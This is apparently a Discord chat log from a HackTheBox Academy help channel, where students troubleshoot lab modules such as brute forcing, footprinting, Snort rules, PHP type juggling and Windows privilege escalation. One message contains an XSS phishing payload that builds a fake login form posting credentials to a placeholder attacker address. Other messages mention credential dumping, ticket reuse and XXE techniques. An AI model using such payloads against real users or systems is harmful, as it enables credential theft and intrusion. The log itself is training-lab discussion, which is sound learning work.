need to make the module script work now though

[shut wraith]

how do I contact support about a module lab

[green cypress]

Bottom right hand corner there should be a button and it'll guide you through contacting

[visual socket]

I'm stuck in the very last flag of login brute forcing skill assessment can't find the password, can someone help? Already try brute forcing with .txt is inside de ssh and didn't help, also tried with some passwords from seclists and didn't help neither,

[visual socket]

Also, is the step by step worth it? Like it could help me in cases like this ?

[winter schooner]

If you have annual subscription then you can use if you dont it doesnt let you use it but if your stuck then id recommend checking if it helps

And if you dont have annual subscription you can check writeups done by ppl or videos

[ionic dune]

I'm new to htb, and am currently doing some basic stuff, going through the different OS. However I'm stuck at the very last question of the Windows module, https://academy.hackthebox.com/module/49/section/1015

All other questions are ok, but the last one I just get wrong answer.

Shouldn't it be enough to just do a New-LocalGroup -Name "HR"
then get the SID by doing Get-LocalGroup -Name "HR" | Select-Object Name, SID

What am I doing wrong?

[ionic dune]

Nevermind, I finally got it right...by calculating the sid backwards. So the correct sid in the VM was the wrong answer, seems like it is a static sid and you must create everything in the correct order and not deleting anything.

[next bronze]

yeah you'll need to do it in the target provided, non default users/groups starts allocation from 1000
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/ecc7dfba-77e1-4e03-ab99-114b349c7164

[ionic dune]

Frustrating, but great to finally get it right. Now lets go on with some more fun stuff with nmap.

[knotty gust]

For login brute forcing skill assessment part 1, are we simply brute forcing using the entire username and password list given to us? No information is given regarding usernames, password requirements, an individual's or company's name, etc.

[rigid condor]

Hey I've a question on the module : Windows Server Update Services (WSUS) in Windows Lateral Movement section, I did the same things than the solution but it didn't work, someone has an issue with that module ?

[visual socket]

Yes, just brute force with the info given

[visual socket]

I do not have annual subscription but I want to know if the step by step feature can help me before buying it

[knotty gust]

I might be here a while then 😅 It's been an hour so far with no matches

[storm elk]

Internet Archive seems to be back online (https://web.archive.org/)

[subtle oriole]

GM guys

need some clarification on Knowledge Check machine box

I have got root but I would like to ask something without spoiling it here

anyone to hit me on DMs?

no scammers please lol

[shell ore]

ask in #boxes

[next bronze]

<@&861185840277487616>

[storm elk]

thanks @next bronze

[worldly pike]

Hey i am doing pentration tester path. Can i skip modules i find hard and come back to it later? Or i have to do it in order?

[sleek stag]

hello, i'm a noob and i have a question
a friend had a suitcase stolen, inside there wasn't much of value unfortunately, but there was among other things an old samsung B2100 phone (very old therefore) as well as a tablet with Lineage OS, and apparently no possibility of locating the device through the google account; but the tablet is connected to his discord account.
Is it possible to locate one of the devices, and therefore the case, using this method alone?

[thin owl]

whats that got to do with the academy modules?

[sleek stag]

I didnt arrive to text the general channel 😅😅

[frosty ferry]

Bruh I can't ping the machine even though i am connected to the vpn

[thin owl]

This channel is specific to HTB academy modules, what youre asking is unrelated

[old oasis]

is the machine from the academy or labs?

[frosty ferry]

academy

i am trying to rdp

[old oasis]

from what I know when you make a new vpn file it will make the previous one redundant so make sure you use the latest one

[frosty ferry]

cant ping it on vm instance either

[storm elk]

we cant help you on this

[shut vapor]

Some build upon each other but you can skip around. The early stuff is pretty fundamental. Nmap, e.g.

[jolly yacht]

is it possible to reset progress in a module so i can do the assessment tasks again from scratch?

[old oasis]

no

[jolly yacht]

sad

[old oasis]

that shouldn't stop you from doing the assessment anyway

just don't look at the answer

also the answer is not that important its more the steps you took to reach it

[jolly yacht]

yeah, lol. But still i missed the feel of getting the answer right after submitting it in the task.

[feral horizon]

do you have problem on your side to ping machines ?

[jolly yacht]

And also it is hard to read only the task questions without looking at the answers mistakenly.

[kind turret]

try nc -vz 83.136.254 158 47683

but if it is a docker and it hosts a website then you are missing the path ...

you can't just "connect" to it with curl if such is the case

[stark lark]

I'm just trying to do this https://academy.hackthebox.com/module/23/section/253

[jolly yacht]

no

[dusty cape]

Hi I'm stuck at the Password Attacks Module on network services. I've found every credentials except for rdp. I know that the method is the same you just have to change the service name in hydra. There is a reddit post where someone also says that the rdp brute forcing did not work for him. Is it working for you guys? Do you have any alternatives?

[old oasis]

use the resources given to you in the module

[dusty cape]

I did that

[old oasis]

You can DM me

[atomic abyss]

https://academy.hackthebox.com/module/87/section/883
following this guide rn i followed it and updated all that stuff but when i type cat tools.list like it says instead of printing all tools i have it prints "No such directory"

mind you following the guide and updating it took around a good hour or so to complete so...

[visual socket]

Make sure you have the right spelling

Could be tools.lists maybe?

Or capital letters

[atomic abyss]

huh it works now same spelling as before... weird... but thank you!

[gilded radish]

I want htb to make a module "How to get a job in cybersec and get paid for it"

[unborn oriole]

Archive is back online and I was able to complete this section in case you hadn't already seen.

[elder hearth]

Did you end up getting this, I can help

[iron oar]

yeah I got it

thanks

[low roost]

just had to be patient

[old oasis]

Did you automate the VRFY process?

[low roost]

yes I did

[old oasis]

Nice, could you send me the script? I did it manually 😭

[low roost]

ofc

[old oasis]

Thanks bro

[quiet trout]

Im having trouble counting packet bytes in the IDS/IPS modules, of the SOC Analyst Path

(paritcularly the walk thru with urisnif https://academy.hackthebox.com/module/226/section/2416)

Can someone help me better understand why when i count 12 bytes like the rule suggests i dont end up at the /images content?

Rule:
alert tcp any any -> any any (msg:"Possible Ursnif C2 Activity"; flow:established,to_server; content:"/images/", depth 12; content:"_2F"; content:"_2B"; content:"User-Agent|3a 20|Mozilla/4.0 (compatible|3b| MSIE 8.0|3b| Windows NT"; content:!"Accept"; content:!"Cookie|3a|"; content:!"Referer|3a|"; sid:1000002; rev:1;)

if i start in the highlighted section, sure images is within the first 12 bytes, but the rule says the first 12 bytes of the packet (payload?) which is not the same, as i understand it?

[median gale]

Manual upload of war file on tomcat works perfectly but got problem running the automated exploit any ideas ?

Should work given that it is an "exercise for the reader" as the module says

[pseudo kiln]

try changing the payload type a few times

[median gale]

To what ?

Python didnt work

[pseudo kiln]

show payload, then you can pick what makes sense

[median gale]

u sure?

[pseudo kiln]

could be payloads

[median gale]

no such command in the help section, maybe u mean handler?

[pseudo kiln]

try a few, both staged and stageless, I had this issue with metasploit exploit in the past and switching the payload and/or targets around a bit makes it work

[grand portal]

you are ending up at /images content. both pictures are same.

[grand portal]

for detection, if it is in 12 bytes of packet payload. it is detected. could you rephrase your question here?

[quiet trout]

Yeah, thats highlighted, but the packet starts at 00, the highlighhted portion starts at 003B if i have my hex counting correct

the "11th" byte in the 0030 row

which is greater than 12

im trying to filter in wireshark at the moment to see if it squares with the snort rule, the other content triggers may be causing me some confusion in squaring each rule with its trigger

[grand portal]

that's a good understanding, i did not use wireshark for checking. i understand you now. lemme check

[quiet trout]

yeah its odd im pretty far out of my comfort zone with this i dont even know how to count in hex good

or like how to properly specify locations in hex, thus my statement: "11th byte of the 0030 range"

[grand portal]

@quiet trout can you copy paste provide me those image's hex representation, like they did in modules?

[quiet trout]

sure, taking me a sec trying to get this shit straight i just set up the vm again, all that info was from yesterday

[grand portal]

@exciton there yet? i think i got the issue.

i just need those hex values to confirm.

[lunar dagger]

a bit of a nudge on the geting started module public exploits i got the exploit ready and i can't run it

[nova ginkgo]

pls help me in

windows prv escalation : Citrix Breakout

Submit the Administrator's flag from C:\Users\Administrator\Desktop
I conncected with smb my tools and execute ps1 files then found .msi file, but I dont execute that

then I tried to : Bypass-UAC -Method UacMethodSysprep
but not worked pls help me I can't that

[quiet trout]

i think i found it while getting the packet info.

here's the stripped down version of the rule, with just the 12 bytes and content:/images/

https://pastebin.com/9PkzgMw8

line 84 shows tcp PAYLOAD, similar to how it refers to in the exaplanation (packet payload) on the lab, i suppose the first 0x3a bytes are part of the tcp header and not paart of the PAYLOAD, i didnt take this into account, as i thought the "packet payload" (tcp payload) was all the bytes. seems to be a confusion on terminology and what it meant specifically.

man im gonna have to go back thru these modules better understanding this stuff now and really take a closer look at what these rules are doing, this kinda sucks

[grand portal]

you are right about that. however there is another thing to consider, not exactly in this case but this rule is inefficient since it misses HTTP sticky buffers, that could also lead to fragment HTTP requests or responses across multiple packets. If the relevant string is split across packets or if you miss part of it. it can also avoid detection.

it's good to refresh these concepts back, I literally thank you.

[quiet trout]

yeah, that was a few sections back, im gonna have to look that over again, and how it affects rule creation/trigger

[grand portal]

you are really grinding slow and deep. It is good. CDSA is not a long path, so study in depth.

same, i gtg too. i hope i was helpful. see you later man.

[nova ginkgo]

guys pls

[grand portal]

also, you gonna be stuck in snort module during assessment. i guess.

[quiet trout]

SWEET

looking forward to it already

[grand portal]

its really stupid.

but again good luck

bye. gtg

[quiet trout]

hey thanks for helping a sanity check i do APPRECIATE the heck out of it

i was about to give up before you helped out now im somewhat reinvigorated to finish this hsit

[quiet trout]

anyone know why this wireshark filter isnt working?

this is so freaking fundamental it blows my mind, and its not working

if i change the filter to just frame.len == 9 or frame.len >= 9 && frame.len <= 10 that also ails

[shut vapor]

try udp.length

The frame is TCP.

err... the frame is IP

[quiet trout]

that failed to it has to do with the payload being 9 bytes and the datagram being much larger, but im still getting very odd results... a filter like udp.length == 17 should in "theory" work? dunno still getting a blank output

the wireshark output is throwing me off len = payload size, not packet size

but the snort rule is saying "content: 9" which is referring to payload size, im trying to cross reference a snort rule with expected output in wireshark line by line but im getting kinda fucked at every turn

both filters "work" im just not doing it correctly

[tender nimbus]

Hey guys do yu know if there is a plugin or something on obsidian for finding text on images?

[quiet trout]

and the section isnt really explaining how to cross reference this like im trying to do, to fully understand it instead of just "trust me bro"

so TLDR: skill issue

[shut vapor]

Yeah I can't help with any of that regarding the module -- haven't been there-- just that if you're trying to filter on the udp length, use udp.len. frame.len refers to the IP frame.

[quiet trout]

i see, defo gonna remember that

@shut vapor think you can help me better understand the contents of this UDP packet? from what i've read the UDP header is 8 bytes, the payload is the highlighted section an additional 34 bytes further along... not sure what the other 24 bytes are?

nvm

its other headers and stuff

not sure how that squares with this image which suggests the headers should equal 8 bytes, but ... iono...

[jolly trout]

Hi everyone. Do you guys know why is this evaluated as false? I'm doing the Type Juggling Auth Bypass from the Whitebox Attacks module in CWEE. I managed to solve the challenge, but this idea of magic hashes confuses me. Does it only work in PHP versions below 8.0.0 as well? Thanks!

[surreal chasm]

Hey, im in the footprinting module inside the DNS page
I'm a bit confused of what answer i should give in this question Interact with the target DNS using its IP address and enumerate the FQDN of it for the "inlanefreight.htb" domain.

I think i understood:
they wanted me to find the ||namserver|| of that domain?

[shut wraith]

hello, about the sliver module; can u use armory modules without a beacon ?

[acoustic owl]

The FQDN of the name server is searched for

[surreal chasm]

Thanks

[safe star]

i dont think so, there would be no where to load them

[shut wraith]

but what about c2tc-domaininfo it just gets domain info ... do u really need a beacon for that ?

[safe star]

it cant just use magic to get access to the domain

[shut wraith]

U can do it though:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 20:21 EDT
Nmap scan report for 10.129.98.244
Host is up (0.074s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       currentTime: 20241013232934.0Z
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=MEGACORP,DC=LOCAL
|       dsServiceName: CN=NTDS Settings,CN=MULTIMASTER,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=MEGACORP,DC=LOCAL
|       namingContexts: DC=MEGACORP,DC=LOCAL

So why doesnt this C2 automate something that u can do -- isnt that its job

[shut vapor]

This doesn't look magical at all to me, it just looks like you're comparing two strings that are different from one another. I'll let someone else speak on magic hashes in php. I have no insight.

Where'd the other screen shot go? I was confused by its strcmp() != False double-negative.

[jolly trout]

Appreciate your help. I deleted the last example with strcmp because I messed that up XD

The "0e123..." expresion should be converted to a 0

[safe star]

im pretty sure c2tc is an authenticated domain search

but whats the problem with using another tool just like that

[jolly trout]

It might be a stupid question but i believe the module uses that as a vulnerable code

[shut vapor]

I'm reading about it now, this only applies if you're hashing the value. In your example above you're not hashing it AFAICT, you're just comparing two strings.

[jolly trout]

Shouldn't the first expression be true, then?

I might be losing it but it might be all about the PHP version in used

[shut vapor]

give me a minute, I'll try on my end

[jolly trout]

Sure, you can DM me if you want

[fading olive]

Hello,
I'm doing Information Gathering > Subdomain Bruteforcing and I'm running the exact command they give :

dnsenum --enum inlanefreight.com -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
All that I get are :
ns1.inlanefreight.com.
ns2.inlanefreight.com.
customer.inlanefreight.com.
And nothing else. If I understand the question correctly :
**Using the known subdomains for inlanefreight.com (www, ns1, ns2, ns3, blog, support, customer), find any missing subdomains by brute-forcing possible domain names. Provide your answer with the complete subdomain, e.g., www.inlanefreight.com. **
I'm supposed to find a new domain name like newdomainname.inlanefreight.com. I tried running the same command on www.inlanefreight.com, ns1.inlanefreight.com, ns2.inlanefreight.com but it doesn't give any result.
I also tried connecting or disconnecting my vpn with no luck, I also checked that I didn't accidently put an entry for inlanefreight.com in my /etc/hosts file. Can anybody hint me in the right direction?

[safe star]

try pwnbox

i got it instantly

[shut vapor]

The sha256sum is 0e46...., if you want to compare the output of hash() in php, the string you compare it against is just a string of that has value.

[quiet trout]

what cmd are you running and its output? you've identified the ns's but not what you're doing to enum the directorys and subdomains, not just the nameservers

[shut vapor]

In other words...

[quiet trout]

or are you using dns enum? i think that might've failed for me on my attempt at that section you might consider letting it run but also trying something like ffuf or dirbuster/gobuster

also use pwnbox if possible like @safe star mentioned

[jolly trout]

Ok, then the magic hashes don't really work since we are using loose comparisons. I will read the module again... It was probably changed in 8.0.0

Thanks for your help. Appreciate it

[fading olive]

I'll try it out

[fading olive]

The command I'm running is in my message, and the output is a few of the already known addresses. I have tried to run the command on subdomains like www.inlanefreight.com etc... but that gave me an error

[fading olive]

yes I am using dnsenum, I'll try the pwnbox and if not successful will try gobuster ffuf etc.... thanks for your answer!

[quiet trout]

yeah the dnsenum tool according to its man page is for enumerating dns servers primarily, it looks like it has some limited functinality for finding subdomains based on the DNS records but i dont think i had very much luck with this, and better tools exist for the purpose, something to keep in mind for real world

[shut vapor]

Here is a full example of what they're trying to convey:

If you hash a value and the result begins with "0e", testing the result against 0 returns TRUE.
The next test I performed was to change the value I'm hashing so that it doesn't result in a hash starting with "0e" and it doesn't work the same way.

[fading olive]

Okay so just for the information, I just ran it on the pwnbox and indeed it worked perfectly instantly. For some reason it doesn't work when I run it on my machine. No need to bruteforce subdomains just inlanefreight.com
I guess that's kind of a bug or something

[calm spire]

Hi guys, I am doing the windows fundamentals module and I am trying to connect via RDP to the machine but I was getting errors. I tried to ping the machine and i got host is unreachable as a result. What can i do to resolve this issue and manage to connect to the server?

[shut wraith]

1. ur VPN is working?does it say connection established?
2. IP is correct ?

[jolly trout]

I got it, but the module gives a vulnerable code that compares it to the user's password from the database (not a zero). They mention multiple times that things changed with 8.0.0, but not when talking about magic hashes and that confused me. I hope we both learnt more about magic hashes XD. Thanks, though.

[calm spire]

Vpn works, it says sequence completed so it works. and Ip is correct, i literally copy pasted it

[shut wraith]

can u refresh page and see if ur lab is still online

[runic silo]

hi

[calm spire]

It is, 111 minutes left

[runic silo]

how can i chat on the normal chat??

[shut wraith]

it work before? is this new

[shut wraith]

#general

[runic silo]

it says i dont have perms

[shut wraith]

If it didnt work before, that means ur network has a firewall rule to stop the TPC or UDP, so try a different type of VPN

[calm spire]

No it didn't, i am literally at the first module

[storm elk]

Please read #welcome and #rules it will explain how to get verified

[calm spire]

ah so donwload tcp instead of udp then?

[shut wraith]

But btw if u want professional to help u with this then start a ticket on the website

[runic silo]

kk

[opal hull]

So in Lateral Movement Skills Assessment, Q2 asks for the flag.txt on Arturo's Desktop... Well I'm on Arturo's Desktop, and there be no flag.txt??? What gives? Anyone have any ideas?

[calm spire]

how do you raise a ticket on discord btw? I usually dont use discord

[fresh rivet]

in the Cross Site Scripting section of BBH, specifically the Phishing portion. I am having quite a bit of trouble with the attack.

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();<!--

the payload doesn't actually remove the form it also doesn't accept the document.getElementById i always see the broken link and

');document.getElementById('urlform').remove();

is there something I am missing here?

[shut wraith]

If u have a casual question or question that other students can help then u can use discord.

But if u have a problem with the connection or something wrong with the lab then u make a ticket on the website there is a green circle (bottom right) to make a ticket and message HTB support

[calm spire]

Ah on the website itself, gotcha thanks!

[dapper moth]

There isn't only one Host in that environment, right!? 🤷‍♂️

That SA is pretty structured in a way that you have to jump from one Host to another

[opal hull]

okay, I'll try to come at it another way

[storm elk]

Support is via website only

https://help.hackthebox.com/en/articles/5987511-contacting-academy-support

[iron oar]

Anyone know why I cant access the TestGroup share after adding pedro to the group and logging out and back in for DACL Attacks 1: AddMembers module?

I was able to get administrator on the target but am still stuck on the first flag

[muted pulsar]

idk if you still need help. but the open button is way down at the bottom of the window, if you cannot see it, expand the application gui window by whatever means necessary.

[sweet lagoon]

Thanks. I will knock it out now.

[dapper moth]

Have you read your output?

[iron oar]

yes what about it?

lol am I trolling here?

[dapper moth]

Doesn't look like you added yourself to TestGroup

[iron oar]

oh wait Im trolling

thanks

I though backup operators had read on testgroup

not the actual group "TestGroup"

[dapper moth]

Think you have to abuse "Backup Operators" membership next

[iron oar]

gotcha, yeah jumped the gun a little bit

[eternal vigil]

thankyou

[dapper moth]

Try reading and executing the same steps as the Evasion Section

[eternal vigil]

i read it and i believe i am already doin that

[dapper moth]

It's pretty much copy and paste

You found the Port

What command did you use to connect to the port you've found?

[eternal vigil]

i am not really sure why none of this is working @dapper moth

[dapper moth]

Use sudo

Got the flag?

[eternal vigil]

for god's sake all i was missing is sudo for past 1 hour 😂

yes thankyou very much

[jolly trout]

Ok, I will respond to my own comment. They indeed give a very clear explanation on how strings are handled after 8.0.0 when doing loose comparisons. Reviewing the module and completing the next section while debugging locally cleared my mind. I try to avoid asking on the Discord server because I always feel dumb when looking at my comments... I guess it's part of the learning process.

[calm spire]

Hi guys, i am confused how i should be able to answer the question of the module introduction to bash scripting, submodule: conditional execution if i literally never wrote a bash code before. The explanation in that module is not enough if you have never done bash scripting before. Feels like a lot of modules try to teach you one thing and then the question is something completely unrelated or the module itself didn't give you everything to be able to answer the question. Or is it me?

[proper jungle]

anyone having issues spawning machines?

nvm its working

[jolly trout]

HTB Academy is tough. If you come from other platforms, everything feels like a capstone exercise XD. Feel free to send me a DM if you still need help 🙂

[woeful vortex]

true

[maiden field]

Hey i'm doing Login Brute Forcing and I was wondering if there's a recommanded wordlist for password and username ? I know some module have them in the ressources tab but it seem like theres nothing for this and I don't want to be bruteforcing for 1h

[faint geode]

Pretty sure it's rock you

[calm spire]

i don't think it's tough per se, not what i encountered as of yet at least, the problem is that the explanation in some modules is unclear/expect you already know something/is not in a chronological order/or they explain what 1+1 is and the question pertaining to that module is: How many donkeys are alive in Australia? But thanks for the help, i figured parts of it out with chatgpt

[silk anchor]

If they use something specific in the examples try to use that, otherwise rockyou is a good shout. If it doesnt go through in like 5 mins try something else, nothing should take hours to bruteforce

[clear wagon]

Good evening everyone

[dapper moth]

Some of the Skill Assessments are to make you research or to be challenging.

Wait till you go up the higher tier modules

I don't complain though

[fathom pendant]

Eh the skill assessments actually moreso test your ability to apply the knowledge

Id say rarely they require too much additional research

[dapper moth]

Again, depends on the module

[fathom pendant]

I think I've ran into one maybe two modules that required external research bc it wasn't covered, or wasn't covered well

[daring stratus]

Hi I stuck on LDAP assessment last question. what is the non default privilege of htb-student? any nudge? I tried to run elevated powershell, it didn't work..

[thin parrot]

Linux Fundamentals is actual trash holy hell 💀

The RegEx topic literally says "here is how you use an extension, now magically know every part of regex"

Why include practice questions for something you were too lazy to put an explanation for

Ik it just takes a quick search or use of ai to get answers but its very frustrating when you pay for a service to teach you and you were too lazy to put a block of text explaining the necessary topics instead of quizzing us on topics not fundamentally covered at all

Idk this just feels insulting at this point

Are all the modules like this? Like beyond Linux Basics? If so I'm refunding asap

[cloud urchin]

what are you talking about, the regex part of linux fundamentals doesn't even have any questions on it

just click "mark complete & next"

[thin parrot]

Cant upload a picture but there are optional questions too

Please dont use the defense that making them optional means you don't have to cover whats necessary to produce the results that are being asked for

[cloud urchin]

it's not possible to include every single bit of information for everything that's covered in every module, that would make them too insanely big. a big part of pentesting is doing research and being able to learn a new tool or app quickly. i'd say the overwhelming majority of the modules are self contained and don't require outside knowledge, but some of them do expect you to have a certain baseline level of knowledge regardless.

[thin parrot]

Literally just including \b and \w* I dont see how that would make it extremely large. Just lazy

[cloud urchin]

you're conflating stuff too like 'Know every part of regex', those simple exercises aren't even close to 'knowing everything'

[thin parrot]

I dont see how large modules are supposed to be an issue security isnt supposed to be a simple topic it requires you to know a lot of concepts and when/how to employ them. So what if theres a lot to read lmao if people have an issue with that they probably should go work as a fast food worker.

My concern is coming that there may be a trend of questions that are simply outside of what is covered, not a clever stretch just concepts as a whole.

[cloud urchin]

not seeing anything in the optional exercises that aren't covered

regardless you'll need to do that for pentesting, a lot.

[thin parrot]

I don't see anything that will specifically pull for words starting/ending with a word. Only containing

[cloud urchin]

did you not complete the previous sections?

[thin parrot]

I did

[cloud urchin]

a lot of modules build off each other like that

it's covered in a previous section

was that it... or do you feel like something else wasn't covered?

[thin parrot]

I ended up just using what I had searched up so I'm unsure. Looking back the only thing I saw was the use of a caret

[cloud urchin]

oh ok. you seemed pretty upset over it so i thought it would be more or something. yeah i found it in the find files an directories section

literally says -name *.conf With '-name', we indicate the name of the file we are looking for. The asterisk (*) stands for 'all' files with the '.conf' extension.

[wanton relic]

Yo! Does anyone ever get this error when using crackexecmac and netexec , I get this error in Password attacks module , I already remove and reinstall both tools but no luck with this error..

┌──(parallels㉿kali-linux-2022-2)-[/media/psf/Share Folder]
└─$ netexec smb 10.129.202.85 -u jmarston -p P@ssword! --ntds
Traceback (most recent call last):
  File "/usr/bin/netexec", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "/usr/lib/python3/dist-packages/nxc/netexec.py", line 143, in main
    protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
                              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/nxc/loaders/protocolloader.py", line 16, in load_protocol
    loader.exec_module(protocol)
  File "<frozen importlib._bootstrap_external>", line 995, in exec_module
  File "<frozen importlib._bootstrap>", line 488, in _call_with_frames_removed
  File "/usr/lib/python3/dist-packages/nxc/protocols/smb.py", line 10, in <module>
    from impacket.examples.secretsdump import (
  File "/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py", line 69, in <module>
    from impacket.ldap.ldap import SimplePagedResultsControl, LDAPSearchError
  File "/usr/lib/python3/dist-packages/impacket/ldap/ldap.py", line 41, in <module>
    import OpenSSL
  File "/usr/lib/python3/dist-packages/OpenSSL/__init__.py", line 8, in <module>
    from OpenSSL import crypto, SSL
  File "/usr/lib/python3/dist-packages/OpenSSL/crypto.py", line 1579, in <module>
    class X509StoreFlags(object):
  File "/usr/lib/python3/dist-packages/OpenSSL/crypto.py", line 1598, in X509StoreFlags
    NOTIFY_POLICY = _lib.X509_V_FLAG_NOTIFY_POLICY
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: module 'lib' has no attribute 'X509_V_FLAG_NOTIFY_POLICY'. Did you mean: 'X509_V_FLAG_EXPLICIT_POLICY'?

[cloud urchin]

probably because you didn't wrap the password in quotes, it contains special characters.

[compact oak]

hey hey stay. u solve it?

[next bronze]

seems like a dependency problem tbh

I would do a clean reinstall with pipx

[cloud urchin]

yeah could be

[remote ice]

Hello

[cloud urchin]

there are plenty of people here who can help, which module/section/question are you stuck on?

[remote ice]

How do u guys learn to hack

[cloud urchin]

academy

[viral snow]

Kinda perplexed as to what's happening here.

I'm in Web Attacks Skills Assessment.

I'm at the very last step, trying to obtain my base64 hash.

I used a malicious XXE payload so I can read the flag file.

I made the necessary adjustments, and hit send in the web developer.

All I'm getting is "Event " has been created" in the Response tab. So I know the code worked, but I'm not getting the base64 hash so I can grab my flag.

Any help?

[cloud urchin]

of course

probably best to chat about it in #general this channel is for the modules on the academy

read and follow the instructions in #welcome

[thin owl]

this is not the place to ask for help for this sort of thing

[cloud urchin]

as i said, read and follow the instructions in #welcome

no one here is going to help you get your account back or something, this discord is about the hackthebox platform, your only recourse to get your account would be to reach out to the service who provided it.

[ocean night]

@remote ice as has been said above, read #welcome, read #rules. Contact support for your "game"

[remote ice]

I did it

[ocean night]

If you want to take part in the community of Hack The Box, great, follow the instructions in #welcome. If you just want to wave your arms about a "hacked account", then just leave.

[latent relic]

anyone around i can dm about skill assement 1 on login brute forcing?
for a sanity check. I try it the way learned in the module and using recommended password list and passnot found.
tried using recommended password and user list and its saying 38 hours to run

nm got it

[latent relic]

Helpful hint for other users verify after downloading wordlists that they downloaded correctly. Lol

[fiery berry]

reset the target machine and try again.

[unique sage]

Hello 👋

[storm elk]

hi

[analog dock]

Hi

[safe star]

type shi

[next bronze]

is the CORS misconfig question working for you

[analog dock]

It worked once, not sure how because I couldn’t reproduce

#1234357888114364508

Made a post already, think the module is broken

[next bronze]

what about the seciton before

[analog dock]

What

[next bronze]

the previous section, CORS Misconfigurations

without the csrf token

[analog dock]

I already answered that nerd

[analog dock]

^

[next bronze]

great

[analog dock]

Not great

I quit the module because of it

[next bronze]

ok I managed to solve it but one part isn't really mentioned

also I have to include the port number unlike the previous section or else it goes to 443

[nova ginkgo]

Hello everyone help me pls

Windows Privilege Escalation : Interacting with Users

Using the techniques in this section obtain the cleartext credentials for the SCCM_SVC user.

I need to put smb share my .scf file but there is no writeble folder for me

pls give me some hint

[analog dock]

With port number still failed for me

I think the only time it worked was when I removed the ports

[next bronze]

wtf

yeah some weird stuff is going on

[analog dock]

Yeah

It annoyed me that it didn’t work even though my payloads were correct

So I just skipped the module

[next bronze]

https://tenor.com/view/it-be-like-that-sometimes-like-that-sometimes-snoop-dogg-sometimes-just-like-it-gif-12501830

[next bronze]

there are writeable folder, look through all of them

there can be subfolders

[analog dock]

Let me know if that next section works for you

And what your payload is

[nova ginkgo]

I cant find I tried to public folder but not worked

[nova ginkgo]

did you mean in smbclient ?

[next bronze]

there are other places than public

I'd suggest using impacket's smbclient.py or smbclient-ng

https://github.com/p0dalirius/smbclient-ng

[vivid sigil]

HI

Password Attacks > Pass the Ticket (PtT) from Linux

Q/ Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \DC01\julio.

i have the ticket of julio but i cant access with smbcclient

smbclient //dc01/C$ -k -no-pass

root@linux01:~# klist
Ticket cache: FILE:/root/krb5cc_6######_######
Default principal: [e-mail]

Valid starting Expires Service principal
10/07/2022 11:32:01 10/07/2022 21:32:01 krbtgt/[e-mail]
renew until 10/08/2022 11:32:01

anyideas ?

[next bronze]

find a ticket that's valid

[vivid sigil]

it worked thank you so much

[nova ginkgo]

thanks i will try

[surreal chasm]

Hey!
I'm stuck in Footprinting page SMTP
The question is Enumerate the SMTP service even further and find the username that exists on the system. Submit it as the answer.

Tried to run the command ||smtp-user-enum -M RCPT -U ./footprinting-wordlist.txt -t 10.129.19.215||
And I get 0 results
The wordlist is the one under the resources, so it should be updated

I dont understand, It worked on metasploit but not on smtp-user-enum
Why is that?

[old oasis]

maybe you using the wrong smtp command?

[next bronze]

lol the example in the section worked for me, had to add the port otherwise it's the same

had to use the burp browser to test tho, for some reason the script isn't being loaded in firefox

[analog dock]

Maybe that’s the issue then

As I’m doing it from Firefox

[sonic plume]

hi, could someone tell me what the answer format is for section "identifying hashes" on module: cracking passwords with hashcat.

[analog dock]

Can you dm me your payload and post req?

[surreal chasm]

what do you mean?

[old oasis]

have you tried using VRFY instead?

[surreal chasm]

yes

metasploit worked and smtp-user-enum didnt

a bit weird, maybe its not reliable tool

[ashen tapir]

does anyone know why, in intro to network traffic analysis i keep getting this error when trying to start the capture "tcpdump: ens3: You don't have permission to perform this capture on that device
(socket: Operation not permitted)"

i also get tcpdump: option requires an argument -- 'i'

even when im using -i. straight out copy pasting it from the solution

[next bronze]

run as sudo?

[ashen tapir]

then i get the requires an argument -i

even if i use sudo tcpdump -i #3

even this question, which i answer with -| gives me incorrect "What TCPDump switch will allow us to pipe the contents of a pcap file out to another function such as 'grep'?"

[next bronze]

#3 is not an interface name

[nova ginkgo]

Bro There is nor writable folder

[ashen tapir]

ok say i use lo

which is number 3

the answer is -1 not -|, can anyone explain that to me

[next bronze]

neither of those are the answer, read the manual?

[ashen tapir]

i literally got a successful answer using 01

-1

[next bronze]

it's -l not -1

[surreal chasm]

Hey, a question about SNMP page under Footprinting
I've found the answer to all of the questions, but on the last question Enumerate the custom script that is running on the system and submit its output as the answer.
does snmp provides the output of commands executed on the device?
I didnt fully understand why I saw the script, and the output of it under the snmpwalk

[visual socket]

Do you still need help?

[wicked apex]

I flipped and it worked

[latent relic]

Nah I got it. Was doing the r8ght thing but had a bad download on the user and pass wordlists.
Re-download them and reran and was gold.

[teal sparrow]

https://academy.hackthebox.com/module/144/section/1251 I already completed this module however im trying to re cap on stuff however i cant replicate the answers i got before is it because the DNS servers have probably been updated?

[quiet trout]

No that should not be the case. Show us your terminal cmd and output for each exercise (i think there's only 3?)

copy paste from terminal window

[compact matrix]

im doing the skills assessment from web proxies and I put in the URL and the page is just blank
I reset the target twice now

[teal sparrow]

1. dig inlanefreight.com

; <<>> DiG 9.18.16-1~deb12u1~bpo11+1-Debian <<>> inlanefreight.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43608
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;inlanefreight.com. IN A

;; ANSWER SECTION:
inlanefreight.com. 300 IN A 134.209.24.248

;; Query time: 20 msec
